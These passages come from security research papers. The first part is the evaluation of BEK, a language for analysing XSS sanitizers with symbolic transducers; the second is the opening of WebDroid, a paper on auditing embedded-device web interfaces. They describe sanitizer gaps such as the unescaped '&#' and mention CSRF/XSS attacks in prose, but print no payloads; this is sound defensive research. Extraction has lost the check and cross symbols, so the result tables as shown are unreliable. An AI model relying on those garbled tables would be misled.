transformation that constructs a single loop over the in-

put string out of two consecutive loops in SFTsA andB.

The join composition algorithm constructs an SFT A◦B
such that T[[A◦B]] = T[[A]]◦T[[B]]. The intuition behind the

construction is that the outputs produced by A are sub-

stituted symbolically in as the inputs consumed by the

B. The composition algorithm proceeds by depth-first

search, first computing QA◦B as constructed as a reach-

able subset of QA × QB , starting from (q0A, q
0
B). Here

we use the SMT solver to determine reachability, calling

the solver as a black box to determine if a path from one

state to another is feasible or not. This makes our con-

struction independent of the particular background the-

ory. In general, this is not true for other recent exten-

sions of finite transducers such as streaming transduc-

ers [6], where compositionality depends on properties of

the background theory that is being used.
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Two SFTs A and B are equivalent if TA = TB . Let

Dom(A)
def
= {v | TA(v) �= ∅}.

Checking equivalence of A and B reduces to two sepa-

rate tasks:

1. Deciding domain-equivalence: Dom(A) =
Dom(B).

2. Deciding partial-equivalence: for all v ∈
Dom(A) ∩ Dom(B), TA(v) = TB(v).

Note that 1 and 2 are independent and do not imply

each other, but together they imply equivalence. Do-

main equivalence holds for all SFTs constructed by BEK,

because all programs share the same domain, namely

that of strings. Checking partial equivalence is more in-

volved. We leverage the fact that all SFTs we construct

are single-valued. Our equivalence algorithm first com-

putes the join composition of A and B, then uses the

SMT solver to search for inputs that cause A to differ

from B. We have a nonconstructive proof of termina-

tion for this algorithm: it establishes that if A and B
are equivalent, then the search must terminate in time

quadratic in the number of states of the composed au-

tomata. In practice, the SMT solver carries out this

search, and our results in Section 4 show scaling is closer

to linear in practice.

Equivalence and join composition allow us to carry out

a variety of other analyses. Idempotence of an SFT A
can be first checked by computing B = A ◦ A, then
checking the equivalence ofA andB. If the two SFTs are

not equivalent, then A fails to be idempotent. Similarly,

commutativity of two SFTs A and B can be determined

by computingC = A◦B andD = B ◦A, then checking
equivalence. The idea is illustrated in Figure 7. We can

also compute the inverse image of a SFT with respect to a

string s, which lets us find out the set of inputs to the SFT
that yield s as an output. We use all of these analyses to

check sanitizers for security

properties in the next section.

  






 



  






 





 

Figure 7: Using composition and equivalence of SFTs

to decide idempotence and commutativity.

Our approach has an advantage over traditional finite

transducers (FTs), due to succinctness of SFTs. Suppose

for example that the background character theory T is k-
bit bit vector arithmetic where k depends on the desired

character range (e.g., for Unicode, k = 16). An explicit

expansion of a BEK SFT A to [[A]] may increase the size

(nr of transitions) by a factor of 2k. Partial-equivalence
of single-valued FTs is solvable O(n2) [15] time. Thus,

for an SFT A of size n, using the partial-equivalence al-

gorithm for [[A]] takes O((2kn)2) time. In contrast, the

partial-equivalence algorithm for BEK SFTs is O(n2).
When the background theory is linear arithmetic, then

the alphabet is infinite and a correspoding FT algorithm

is therefore not even possible.

4 Evaluation

In the following subsections, we evaluate the real-world

applicability of BEK in terms of expressivess,

utility, and performance:

• Section 4.1 evaluates whether BEK can model ex-

isting real-world code. We conduct an emperical

study of a large body of code to see how widely-

used BEK-modelable sanitizer functions are (Sec-

tion 4.1.1), and we evaluate which BEK features

are needed to model sanitizers from AutoEscape,

OWASP, and Internet Explorer 8 (Section 4.1.2).

• We put BEK to work to check existing sanitizers for

idempotence, commutativity, and reversibility (Sec-

tion 4.2).

• We performpair-wise equivalence checks on a num-

ber of ported HTMLEncode implementations, as well

as two outsourced implementations (Section 4.3).

• We evaluate effectiveness of existing HTMLEncode

implementations against known attack strings taken

from the Cross-site Scripting Cheat Sheet (Sec-

tion 4.4).

• We use a synthetic benchmark to evaluate the scal-

ability of performing equivalence checks on BEK

programs (Section 4.5).

• We provide a short example to highlight the fact

that BEK programs can be readily translated to other

programming languages (Section 4.6).

These experiments are based on an implementation that

consists of roughly 5, 000 lines of C# code that imple-

ments the basic transducer algorithms and Z3 [14] inte-

gration, with another 1, 000 lines of F# code for transla-
tion from BEK to transducers. Our experimentswere car-

ried out on a Lenovo ThinkPad W500 laptop with 8 GB
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of RAM and an Intel Core 2 Duo P9600 processor run-

ning at 2.67 GHz, running 64-bit Windows 7.

4.1 Expressive Utility

Thus far, we discussed the expressiveness of BEK pri-

marily in theoretical terms. In this subsection, we turn

our attention to real-world applicability instead, through

a case study that aims to demonstrate that a wide variety

of commonly used sanitizers can be ported to

BEK with relative ease.

4.1.1 Frequency of Sanitizer use in PHP code.

PHP is a widely-used open source server-side scripting

language. Minamide’s seminal work on the static anal-

ysis of dynamic web applications [26] includes finite-

transducer based models for a subset of PHP’s sanitizer

functions. These transducers are hand-crafted in several

thousand lines of OCaml. We conducted an informal re-

view of the PHP source to confirm that each transducer

could be modeled as a BEK program.

Our goal is to perform a high-level quantitative com-

parison of the applicability of BEK, on the one hand,

and existing string constraint solvers (e.g., DPRLE [17],

Hampi [20], Kaluza [30], and Rex [35]) on the other. For

this comparison, we assume that each Minamide trans-

ducer could instead be modeled as a BEK program. We

then use statistics from a study by Hooimeijer [16] that

measured the relative frequency, by static count, of 111

distinct PHP string library functions. The Hooimeijer

study was conducted in December 2009, and covers the

top 100 projects on SourceForge.net, or about 9.6 mil-

lion lines of PHP code. The study considered most, but

not all, sanitizers provided by Minamide.

Out of the 111 distinct functions considered in the

Hooimeijer study, 27 were modeled as transducers by

Minamide and thus encodable in BEK. In the sam-

pled PHP code, these 27 functions account for 68, 238
out of 251, 317 uses, or about 27% of all string-related

call sites. By comparison, traditional regular expression

functionsmodeled by tools like Hampi [20] and Rex [35]

account for just 29,141 call sites, or about 12%. We note

that BEK could be readily integrated into an automaton-

based tool like Rex, however, and our features are largely

complimentary to those of traditional string constraint

solvers. These results suggest that BEK provides a signif-

icant improvement in the “coverage” of real-world code

by string analysis tools.

4.1.2 Language Features

For the remainder of the experiments, we use a small

dataset of ported-to-BEK sanitizers. We now discuss

that dataset and the manual conversion effort required.

The results are summarized in Figure 8, and described in

more detail below.

Google AutoEscape and OWASP. We converted san-

itizers from the OWASP sanitizer library to BEK pro-

grams. We also evaluated sanitizers from the Google

AutoEscape framework to determine what language fea-

tures they would need to be expressed in BEK. These

sanitizers are marked with prefixes GA and OWASP, re-

spectively, in Figure 8. We verified that each of these

sanitizers can be implemented in BEK. In several cases,

we find additional non–native features that could be

added to BEK to support these sanitizers.

Internet Explorer. In addition, we extracted sanitizers

from the binary of Internet Explorer 8 that are used

in the IE Cross-Site Scripting Filter feature, denoted

IEFilter1 to IEFilter17 in Figure 8. For this study,

we analyze the behavior of the IE 8 sanitizers under

the assumption the server performs no sanitization of

its own on user data. Of these 21 sanitizers, we could

convert 17 directly into BEK programs. The remaining 4
sanitizers track a potentially unbounded list of characters

that are either emitted unaltered or escaped, depending

on the result of a regular expression match. BEK does

not enable storing strings of input characters.

The manual translation took several hours per sani-

tizer. Figure 8 breaks down our BEK programs based on

“Native” features of the BEK language, and “Not Native”

features which are not currently in the BEK language.

Many of these features can be integrated modeled using

transducers, however, by enhancing the language of con-

straints used for symbolic labels. In addition, with the

exception of 4 Internet Explorer sanitizers, we found that
a maximum lookaheadwindow of eight characters would

suffice for handling all our sanitizers. Finally, we discov-

ered that the arithmetic on characters was limited to right

shifts and linear arithmetic, which can be expressed in

the Z3 solver we use.

We note that all “Not Native” features could be added

to the BEK languagewith few or no changes to the under-

lying SFT algorithms for join composition and equiva-

lence checking: only the front end would need to change.

4.1.3 Browser Code

Ideally, we could use BEK to model the parser of an ac-

tual web browser. Then, we could use our analyses to

check whether there exists a string that passes through a

given sanitizer yet causes javascript execution. We per-

formed a preliminary exploration of the WebKit browser

to determine how difficult it would be to write such

a model with BEK. Unfortunately, we found multiple
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Native Not Native
boolean multiple mult.

Name vars iters regex lookahead arith. functions

a2bb2a 1 � � � � �

escapeBrackets 1 � � � � �

escapeMetaAndLink 1 � � � � �

escapeString0 1 � � � � �

escapeString 1 � � � � �

escapeStringSimple 1 � � � � �

getFileExtension 2 � � � � �

GA HtmlEscape 0 � � � � �

GA PreEscape 0 � � � � �

GA SnippetEsc 3 � � � � �

GA CleanseAttrib 1 � � � � �

GA CleanseCSS 0 � � � � �

GA CleanseURLEsc 0 � � � � �

GA ValidateURL 2 � � � � �

GA XMLEsc 0 � � � � �

GA JSEsca 0 � � � � �

GA JSNumber 2 � � � � �

GA URLQueryEsc 1 � � � � �

GA JSONESc 0 � � � � �

GA PrefixLine 0 � � � � �

OWASP HTMLEncode 0 � � � � �

IEFilter1 3 � � � � �

IEFilter2 4 � � � � �

IEFilter3 5 � � � � �

IEFilter4 4 � � � � �

IEFilter5 4 � � � � �

IEFilter6 5 � � � � �

IEFilter7 4 � � � � �

IEFilter8 4 � � � � �

IEFilter9 5 � � � � �

IEFilter10 5 � � � � �

IEFilter11 4 � � � � �

IEFilter12 4 � � � � �

IEFilter13 4 � � � � �

IEFilter14 4 � � � � �

IEFilter15 1 � � � � �

IEFilter16 1 � � � � �

IEFilter17 1 � � � � �

Figure 8: Expressiveness: different language features

used by the original corpus of different programs. A

cross means that the feature was not used by the pro-

gram in its initial implementation. A checkmark means

the feature was used by the program. boolean variables,

multiple iterations over a string, and regular expressions

are native constructs in BEK. Multiple lookahead, arith-

metic, and functions are not native to BEK and must be

emulated during the translation. We also show the dis-

tinct boolean variables used by the BEK implementation.

functions that require features, such as bounded looka-

head and transducer composition, which are not yet sup-

ported by the BEK language.

For example, we considered a function in the Safari

implementation of WebKit that performs Javascript de-

coding [7]. This function requires at a minimum the use

of functions to connect hexadecimal to ASCII, a looka-

head of 5 characters, function composition, and scan-

ning for occurrences of a target character. While as

noted above we believe these features could be added

to BEK without fundamentally changing the underlying

algorithms for symbolic transducers, the BEK language

does not yet support them.

4.2 Checking Algebraic Properties

We argued in Section 2 that idempotence and commuta-

tivity are key properties for sanitizers. In addition, the

property of reversibility, that from the output of a sani-

tizer we can unambiguously recover the input, is impor-

tant as an aid to debugging.

4.2.1 Order Independence

We now evaluate whether 17 sanitizers used in IE 8 are

order independent. Order independence means that the

sanitizers have the same effect no matter in what order

they are applied. If the order does matter, then the choice

of order can yield surprising results. As an example, in

rule-based firewalls, a set of rules that are not order in-

dependent may result in a rule never being applied, even

though the administrator of the firewall believes the rule

is in use.

Each IE 8 sanitizer defines a specific input set on

which it will transform strings, which we can compute

from the BEK model. We began by checking all 136 pairs
of IE 8 sanitizers to determine whether their input sets

were disjoint. Only one pair of sanitizers showed a non-

trivial intersection in their input sets. A non-trivial in-

tersection signals a potential order dependence, because

the two sanitizers will transform the same strings. For

this pair, we used BEK to check that the two sanitizers

output the same language, when restricted to inputs from

their intersection. BEK determined that the transforma-

tion of the two sanitizers on thesel inputs was exactly the

same — i.e., the two sanitizers were equivalent on the

intersection set. We conclude that the IE 8 sanitizers are

in fact order independent, up to errors in our extraction

of the sanitizers and our assumption that no server-side

modification is present.

4.2.2 Idempotence and Reversibility

We now examine the idempotence of several BEK pro-

grams, including the IE 8 sanitizers. Figure 9 reports

the results. The number of states in the symbolic finite

transducer created from each BEK program. For each

transducer, we then report whether it is idempotent and

whether it is reversible. This shows the number of states

acts as a rough guide to the complexity of the sanitizer.

For example, we see that IE filter 9 out of 17 is quite

complicated, with 25 states.

4.2.3 Commutativity

We investigated commutativity of seven different imple-

mentations of HTMLEncode, a sanitizer commonly used

by web applications. Four implementations were gath-

ered from internal sources. Three were created for our



12 20th USENIX Security Symposium USENIX Association

Name States Idempotent? Reversible?

a2bb2a 1 � �

escapeBrackets 1 � �

escapeMetaAndLink 1 � �

escapeString0 1 � �

escapeString 1 � �

escapeStringSimple 1 � �

getFileExtension 2 � �

IEFilter1 6 � �

IEFilter2 9 � �

IEFilter3 19 � �

IEFilter4 13 � �

IEFilter5 13 � �

IEFilter6 16 � �

IEFilter7 13 � �

IEFilter8 12 � �

IEFilter9 25 � �

IEFilter10 18 � �

IEFilter11 11 � �

IEFilter12 11 � �

IEFilter13 14 � �

IEFilter14 14 � �

IEFilter15 1 � �

IEFilter16 1 � �

IEFilter17 1 � �

Figure 9: For each BEK benchmark programs, we report

the number of states in the corresponding symbolic trans-

ducer. We then report whether the transducer is idempo-

tent, and whether the transducer is reversible.

HTMLEncode1 � � � � � � �

HTMLEncode2 � � � � � � �

HTMLEncode3 � � � � � � �

HTMLEncode4 � � � � � � �

Outsourced1 � � � � � � �

Outsourced2 � � � � � � �

Outsourced3 � � � � � � �

Figure 10: Commutativity matrix for seven different im-

plementations of HTMLEncode. The Outsourced imple-

mentations were written by freelancers from a high level

English specification.

project specifically by hiring freelance programmers to

create implementations from popular outsourcing web

sites. We provided these programmers with a high

level specification in English that emphasized protection

against cross-site scripting attacks. Figure 10 shows a

commutativity matrix for the HTMLEncode implementa-

tions. A � indicates the pair of sanitizers commute,

while a � indicates they do not. The matrix contains 12
check marks out of 42 total comparisons of distinct sani-

tizers, or 28.6%. Our implementation took less than one

minute to complete all 42 comparisons.

4.3 Differences Between Multiple Implementations

Multiple implementations of the “same” functionality are

commonly available from which to choose when writing

a web application. For example, newer versions of a li-

brary may update the behavior of a piece of code. Differ-

ent organizationsmay also write independent implemen-

tations of the same functionality, guided by performance

HTMLEncode1 � � � 0 − � 0

HTMLEncode2 � � � 0 − � 0

HTMLEncode3 � � � 0 − �
′

HTMLEncode4 0 0 0 � 0 0 0

Outsourced1 − − − 0 � − 0

Outsourced2 � � � 0 − � 0

Outsourced3 0 0 ′ 0 0 0 �

Figure 11: Equivalence matrix for our implementations

of HTMLEncode. A � indicates the implementations are

equivalent. For implementations that are not equivalent,

we show an example character that exhibits different be-

havior in the two implementations. The symbol 0 refers

to the null character.

improvements or by different requirements. Given these

different implementations, the first key question is “do

all these implementations compute the same function?”

Then, if there are differences, the second key question is

“how do these implementations differ?”

As described above, because BEK programs corre-

spond to single valued symbolic finite state transduc-

ers, computing the image of regular languages under the

function defined by a BEK program is decidable. By tak-

ing the image of Σ∗ under two different BEK programs,

we can determine whether they output the

same set of strings.

We checked equivalence of seven different implemen-

tations in C# (as explained above) of the HTMLEncode

sanitization function. We translated all seven implemen-

tations to BEK programs by hand. First, we discovered

that all seven implementations had only one state when

transformed to a symbolic finite transducer. We then

found that all seven are neither reversible nor idempotent.

For example, the ampersand character & is expanded to

&amp; by all seven implementations. This in turn con-

tains an ampersand that will be re-expanded on future

applications of the sanitizer, violating idempotence.

For each BEK program, we checked whether it was

equivalent to the other HTMLEncode implementations.

Figure 11 shows the results. For cases where the

two implementations are not equivalent, BEK derived

a counterexample string that is treated differently by

the two implementations. For example, we discov-

ered that Outsourced1 escapes the − character, while

Outsourced2 does not. We also found that one of the

HTMLEncode implementations does not encode the sin-

gle quote character. Because the single quote charac-

ter can close HTML contexts, failure to encode it could

cause unexpected behavior for a web developer who uses

this implementation. For example, a recent attack on the

Google Analytics dashboard was enabled by failure to

sanitize a single quote [33].

This case study shows the benefit of automatic analy-

sis of string manipulating functions to check equivalence.
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HTML Attribute

Implementation context context

HTMLEncode1 100% 93.5%

HTMLEncode2 100% 93.5%

HTMLEncode3 100% 93.5%

HTMLEncode4 100% 100%

Outsourced1 100% 93.5%

Outsourced2 100% 93.5%

Outsourced3 100% 93.5%

Figure 12: Percentage of XSS Cheat Sheet strings, in

both HTML tag context and tag attribute contexts, that

are ruled out by each implementation of HTMLEncode.

Without BEK, obtaining this information using manual

inspection would be difficult, error prone, and time con-

suming. With BEK, we spent roughly 3 days total trans-

lating from C# to BEK programs. Then BEK was able

to compute the contents of Figure 11 in less than one

minute, including all equivalence

and containment checks.

4.4 Checking Filters Against The Cheat Sheet

The Cross-Site Scripting Cheat Sheet (“XSS Cheat

Sheet”) is a regularly updated set of strings that trigger

JavaScript execution on commonly used web browsers.

These strings are specially crafted to cause popular web

browsers to execute JavaScript, while evading common

sanitization functions. Once we have translated a sani-

tizer to a program in BEK, because BEK uses symbolic

finite state transducers, we can take a “target” string and

determine whether there exists a string that when fed to

the sanitizer results in the target. In other words, we

can check whether a string on the Cheat Sheet has a pre-

image under the function defined by a BEK program.

We sampled 28 strings from the Cheat Sheet. The

Cheat Sheet shows snippets of HTML, but in practice a

sanitizer might be run only on a substring of the snip-

pet. We focused on the case where a sanitizer is run

on the HTML Attribute field, extracting sub-strings from

the Cheat Sheet examples that correspond to the attribute

parsing context. While HTMLEncode should not be used

for sanitizing data that will become part of a URL at-

tribute, in practice programmers may accidentally use

HTMLEncode in this “incorrect” context. We also added

some strings specifically to check the handling of HTML

attribute parsing by our sanitizers. As a result, we ob-

tained two sets of attack strings: HTML and Attribute.

For each of our implementations, for all strings in

each set, we then asked BEK whether pre-images of that

string exist. Figure 12 shows what percentage of strings

have no pre-image under each implementation. All seven

Figure 13: Self-equivalence experiment.

implementations correctly escape angle brackets, so no

string in the HTML set has a pre-image under any of the

sanitizers. In the case of the Attribute strings, however,

we found that some of the implementations do not escape

the string“&#”, potentially yielding an attack. Only one

of our implementations of HTMLEncode made it impos-

sible for all of the strings in the Attribute set from ap-

pearing in its output. Each set of strings took between 36
and 39 seconds for BEK to check the entire set of strings

against a sanitizer.

4.5 Scalability of Equivalence Checking

Our theoretical analysis suggests that the speed of

queries to BEK should scale quadratically in the number

of states of the symbolic finite transducer. All sanitiz-

ers we have found in “the wild,” however, have a small

number of states. While this makes answering queries

about the sanitizers fast, it does not shed light on the em-

pirical performance of BEK as the number of states in-

creases. To address this, we performed two experiments

with synthetically generated symbolic finite transducers.

These transducers were specially created to exhibit some

of the structure observed in real sanitizers, yet have many

more states than observed in

practical sanitizer implementations.

Self-equivalence experiment. We generated symbolic

finite transducers A from randomly generated BEK pro-

grams having structure similar to typical sanitizers. The

time to check equivalence of A with itself is shown in

Figure 13 where the size is the number of states plus

the number of transitions in A. Although the worst case
complexity is quadratic, the actual observed complexity,

for a sample size of 1,000, is linear.

Commutativity experiment. We generated symbolic

finite transducers from randomly generated BEK pro-

grams having structure similar to typical santizers. For

each symbolic finite transducer A, we checked commu-
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Figure 14: Commutativity experiment.

tativity with a small BEK program UpToLastDot that re-

turns a string up to the last dot character. The time to

determine that A ◦ UpToLastDot and UpToLastDot ◦ A
are equivalent is shown in Figure 14 where the size is the

total number of states plus the number of transitions in

A. The time to check non-equivalence was in most cases

only a few milliseconds, thus all experiments exclude the

data where the result is not equivalent, and only include

cases where the result is equivalent. Although the worst

case complexity is quadratic, the actual observed com-

plexity, over a sample size of 1,000

individual cases, was near-linear.

4.6 From BEK to Other Languages

We have built compilers from BEK programs to com-

monly used languages. When the time comes for deploy-

ment, the developer can compile to the language of her

choice for inclusion into an application.

Figure 15 shows a small example of a BEK program

and the result of its JavaScript compilation. As part of

the compilation, we have taken advantage of our knowl-

edge of properties of JavaScript to improve the speed of

the compiled code. For example, we push characters into

arrays instead of creating new string objects. The result

is standard JavaScript code that can be easily included in

any web application. By adding additional compilers for

common languages, such as C#, we can give a developer

multiple implementations of a sanitizer that are guaran-

teed to be equivalent for use in different contexts.

5 Related Work

SANER combines dynamic and static analysis to validate

sanitization functions in web applications [9]. SANER

creates finite state transducers for an over-approximation

of the strings accepted by the sanitizer using static anal-

ysis of existing PHP code. In contrast, our work focuses

on a simple language that is expressive enough to capture

existing sanitizers or write new ones by hand, but then

compile to symbolic finite state transducers that precisely

capture the sanitization function. SANER also treats the

issue of inputs that may be tainted by an adversary, which

is not in scope for our work. Our work also focuses on ef-

ficient ways to compose sanitizers and combine the the-

ory of finite state transducers with SMT solvers, which

is not treated by SANER.

Minamide constructs a string analyzer for PHP code,

then uses this string analyzer to obtain context free gram-

mars that are over-approximations of the HTML output

by a server [26]. He shows how these grammars can

be used to find pages with invalid HTML. The method

proposed in [21] can also be applied to string analysis

by modeling regular string analysis problems as higher-

order multi-parameter tree transducers (HMTTs) where

strings are represented as linear trees. While HMTTs al-

// orginal Bek program

program test0(t);

string s;

s := iter(c in t)

{b := false;} {

case ((c == ’a’)): i

b := !(b) && b;

b := b || b;

b := !(b);

yield (c);

case (true) :

yield (’$’);

};

//

// JavaScript translation

//

function test0(t) {

var s = function ($){

var result = new Array();

for(i=0;i<$.length; i++){

var c = $[i];

if ((c == String.fromCharCode(97))) {

b = (!(b) && b);

b = (b || b);

b = !(b);

result.push(c);

}

if (t) {

result.push(String.fromCharCode(36));

}

};

return result.join(’’);

}

return s(t);

}

Figure 15: A small example BEK program (top) and its

compiled version in JavaScript (bottom). Note the use of

result.push instead of explicit array assignment.
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low encodings of finite transducers, arbitrary background

character theories are not directly expressibly in order to

encode SFTs. Our work treats issues of composition and

state explosion for finite state transducers by leveraging

recent progress in SMT solvers, which aids us in reason-

ing precisely about the transducers created by transfor-

mation of BEK programs and by avoiding state space ex-

plosion and bitblasting for large character domains such

as Unicode. Moreover, SMT solvers provide a method

of extracting concrete counterexamples.

Wasserman and Su also perform static analysis of

PHP code to construct a grammar capturing an over-

approximation of string values. Their application is to

SQL injection attacks, while our framework allows us to

ask questions about any sanitizer [36]. Follow-on work

combines this work with dynamic test input generation to

find attacks on full PHP web applications [37]. Dynamic

analysis of PHP code, using a combination of symbolic

and concrete execution techniques, is implemented in the

Apollo tool [8]. The work in [39] describes a layered

static analysis algorithm for detecting security vulnera-

bilities in PHP code that is also enable to handle some

dynamic features. In contrast, our focus is specifically

on sanitizers instead of on full applications; we empha-

size analysis precision over scaling to large code bases.

Christensen et al.’s Java String Analyzer is a static

analysis package for deriving finite automata that charac-

terize an over-approximationof possible values for string

variables in Java [13]. The focus of their work is on an-

alyzing legacy Java code and on speed of analysis. In

contrast, we focus on precision of the analysis and on

constructing a specific language to capture sanitizers, as

well as on the integration with SMT solvers.

Our work is complementary to previous efforts in ex-

tending SMT solvers to understand the theory of strings.

HAMPI [20] and Kaluza [31] extend the STP solver to

handle equations over strings and equations with mul-

tiple variables. Rex extends the Z3 solver to handle

regular expression constraints [35], while Hooimeijer et

al.show how to solve subset constraints on regular lan-

guages [17]. We in contrast show how to combine any

of these solvers with finite transducers whose edges can

take symbolic values in any of the theories

supported by the solver.

The work in [28] introduces the first symbolic ex-

tension of finite state transducers called a predicate-

augmented finite state transducer (pfst). A pfst has two

kinds of transitions: 1) p
ϕ/ψ
−→ q where ϕ and ψ are char-

acter predicates or ǫ, or 2) p
c/c
−→ q. In the first case

the symbolic transition corresponds to all concrete tran-

sitions p
a/b
−→ q such that ϕ(a) and ψ(b) are true, the

second case corresponds to identity transitions p
a/a
−→ q

for all characters a. A pfst is not expressive enough for

describing an SFT. Besides identities, it is not possible

to establish functional dependencies from input to out-

put that are needed for example to encode sanitizers such

as EncodeHtml.

A recent symbolic extension of finite transducers is

streaming transducers [6]. While the theoretical expres-

siveness of the language introduced in [6] exceeds that

of BEK, streaming transducers are restricted to charac-

ter theories that are total orders with no other operations.

Also, composition of streaming transducers requires an

explicit treatment of characters. It is an interesting future

research topic to investigate if there is an extension of

SFTs or a restriction of streaming transducers that allows

efficient symbolic analysis techniques to be applied.

6 Conclusions

Much prior work in XSS prevention assumes the correct-

ness of sanitization functions. However, practical expe-

rience shows writing correct sanitizers is far from triv-

ial. This paper presents BEK, a language and a compiler

for writing, analyzing string manipulation routines, and

converting them to general-purpose languages. Our lan-

guage is expressive enough to capture real web sanitizers

used in ASP.NET, the Internet Explorer XSS Filter, and

the Google AutoEscape framework, which we demon-

strate by porting these sanitizers to BEK.

We have shown how the analyses supported by our

tool can find security-critical bugs or check that such

bugs do not exist. To improve the end-user experience

when a bug is found, BEK produces a counter-example.

We discover that only 28.6% of our sanitizers commute,

∼79.1% are idempotent, and only 8% are reversibe. We

also demonstrate that most hand-written HTMLEncode

implementations disagree on at least some inputs. Un-

like previously published techniques, BEK deals equally

well with Unicode strings without creating a state ex-

plosion. Furthermore, we show that our algorithms for

equivalence checking and composition computation are

extremely fast in practice, scaling near-linearly with the

size of the symbolic finite transducer representation.
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[6] R. Alur and P. Cerný. Streaming transducers for algorithmic

verification of single-pass list-processing programs. In Proceed-

ings of the Symposium on Princples of Programming Languages,

pages 599–610, 2011.

[7] Apple. Jsdecode implementation, 2011. http://trac.

webkit.org/browser/releases/Apple/Safari%205.0/

JavaScriptCore/runtime/JSGlobalObjectFunctions.

cpp.
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Abstract
We address the challenge of building secure embedded
web interfaces by proposing WebDroid: the first frame-
work specifically dedicated to this purpose. Our design
extends the Android Framework, and enables developers
to create easily secure web interfaces for their applica-
tions. To motivate our work, we perform an in-depth study
of the security of web interfaces embedded in consumer
electronics devices, uncover significant vulnerabilities in
all the devices examined, and categorize the vulnerabili-
ties. We demonstrate how our framework’s security mech-
anisms prevent embedded applications from suffering the
vulnerabilities exposed by our audit. Finally we evaluate
the efficiency of our framework in terms of performance
and security.

1 Introduction

Virtually all network-capable devices, including sim-
ple consumer electronics such as printers and photo
frames, ship with an embedded web interface for easy
configuration. The ubiquity of web interfaces can be
explained by two key factors. For end users, they are easy
to use because the interaction takes place in a familiar
environment: the web browser. For device manufacturers,
providing a web-based interface is cheaper than develop-
ing and maintaining custom software and installers.

Though web interfaces are clearly an effective solution
from a usability perspective, considerable expertise is
required to make them secure [50]. Our first security
audit of embedded web interfaces ([7]) provided the
initial impetus for our work. To underscore the impact of
these earlier results, we point out that compromising a
networked device can be used as a stepping stone towards
compromising the local network [45]. For example,
compromising a photo frame in an office building
can lead to an infection of a Web browser connecting

to the photo frame. The infection can subsequently
spread to the entire local network, and also result in
privacy breaches [8]. For instance a router web interface
can be exploited to steal remotely the WiFi WPA key
and gain access to the entire network. Mitigating the
threats posed by embedded devices, including routers,
is becoming a critical task, as pointed out repeatedly in
recent work [7, 45, 19, 27]. In the absence of a reference
framework for building embedded web interfaces
each vendor is forced to develop its own stack, which
usually leads to security problems. This work takes the
initial studies a step further and proposes a solution
that uniformly addresses all of the known sources of
vulnerabilities in embedded web applications.

We have chosen to build our reference implementation
as an Android application for several reasons. First,
Android has quickly become the premier open embedded
operating system on the market, shipping not only on
tens of millions of smart-phones every year, but also on
specialized devices such as the Nook e-book reader by
Barnes&Noble. Second, Android’s de facto bias towards
the ARM architecture makes the operating system
suitable for embedding in other consumer devices such
as cameras, photo frames, and media hubs. Third, the
security architecture adopted by Android is particularly
well-suited for embedded single-user devices as it casts
the system security question into one of effectively
isolating concurrent, possibly vulnerable applications.

Our main contribution in this paper, WebDroid [16], is
the first open-source web framework specifically designed
for building secure embedded web interfaces:

• WebDroid is designed, implemented and evaluated
based on the knowledge we gained by auditing more
than 30 web embedded devices’ web interfaces over
the two last years, and the more that 50 vulnerabili-
ties we discovered on these devices.

1
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• WebDroid is a novel composition of security design
principles and techniques with a simple and intuitive
configuration interface where most of the security
mechanisms are enabled by default—including lo-
cation and network address restrictions, as well as
server-side CSP and frame-busting.

• WebDroid also features application-wide authen-
tication that ensures that every embedded web
application will have a secure login and logout
mechanism which is resistant to attacks, including
brute-forcing and session hijacking.

Similar to previous work done on building secure web
servers (e.g., the OKWS server [29]), our framework
separates the core web server components from the
applications to protect against low level attacks. Unlike
previous systems however, our framework also mitigates
all of the known application-level attacks including XSS
(Cross-Site Scripting) [13], CSRF (Cross Site Request
Forgery) [50], SQL injection [50] and Clickjacking [44].

The remainder of the paper is organized as follows: in
Section 2 we briefly go through the background necessary
to understand this work. In Section 3 we present and
categorize the vulnerabilities we found during our audit
work. Section 4 develops the threat model that we address
with our system design depicted in Section 5. In Sec-
tion 6 we highlight the main defense mechanisms that are
employed in our implementation. Section 7 presents the
user interface for managing web applications. Section 9
discusses two application case studies and describes how
WebDroid security mechanisms help to mitigate vulnera-
bilities. In Section 10 we provide a summary of relevant
related work, and Section 11 concludes the paper.

2 Background

The embedded device market is growing rapidly. For
example, in the 4th quarter of 2008, 7 million digital
photo frames were sold, almost 50% more than in the 4th
quarter of 2007. Similarly, analysts forecast that by 2012,
12 million Network Attached Storage (NAS) devices
will be sold each year. At the current pace, devices with
embedded web servers will outnumber traditional web
servers in less than 2 years; Netcraft reported that there
are roughly 40 millions active web servers on the Internet
in June 2009 [35].

In order to differentiate their products from those of
their competitors, vendors are constantly adding novel
features to their products, such as BitTorrent support in
NAS devices.

As the number of features increases, a need for a
powerful management interface on the device rapidly
arises. To offer this in an intuitive, convenient, and
cost effective way, vendors have started to embed web
interfaces in their products. While the most well known
use of these web interface is to configure network
equipments such as WiFi access points and routers,
many other embedded devices include web interfaces.
For instance digital photo frames are an excellent
example of this expansion of features and need for a rich
configuration interface. Thus, it is safe to say that web
interfaces have become the norm in managing embedded
devices.

Our audit uncovered abundant examples of features
that were hastily implemented and vulnerable to web at-
tacks. For example the Flickr integration in digital photo
frames led to XSS attacks. What is especially trouble-
some is the fact that we found CSRF exploits in managed
network switches aimed for datacenter use. Attacks on
such devices could allow remote users to reboot them and
effectively DoS an entire company intranet in one step.

Figure 1: The web interface embedded into a Samsung
photo frame.

Figure 1 is a screenshot of the interface embedded in
a high-end Samsung photo frame. This interface allows
the user to control the frame’s display remotely, add an
Internet photo feed to be displayed on the frame, and
to find out various statistics. Although at first sight this
interface looks perfectly designed, we found out that in
reality it is completely flawed: for example, it is possible
to bypass the authentication process to view photos and
it is possible to inject an exploit via a CSRF and XSS
vulnerability that allows to extract photos and send them
to a remote server.

2



USENIX Association  20th USENIX Security Symposium 19

3 Embedded Web Application Security:
State of the Art

Over the last two years we audited the web interfaces
for more than 30 embedded devices. In this section we
report our audit results and discuss the insights we gained
from them. These results and insights are later used to
justify and guide the design of our framework security
features. Note that although we discussed some of the
vulnerabilities we found in a previous publication [8], this
is the first time that the complete audit results are reported
and discussed.

3.1 Audit coverage

The eight categories of devices we tested are: lights-out
management (LOM) interfaces (these typically allow the
administrator to power cycle a PC or control network ac-
cess, bypassing the OS), NAS (used for shared storage
accessible via Ethernet), photo frames (we focused on
“smart” frames with network connectivity), routers/access
points (probably the most familiar browser-managed class
of consumer device), IP cameras (with video feeds that
can be accessed over the network), IP phones (especially
those with a web-based management interface), switches
(“managed switches” that expose some configuration op-
tions), and printers (the larger ones usually have a HTTP-
based interface used to configure a variety of functions,
including access via e-mail). The eight device categories
spanned seventeen brands: Table 1 shows which types
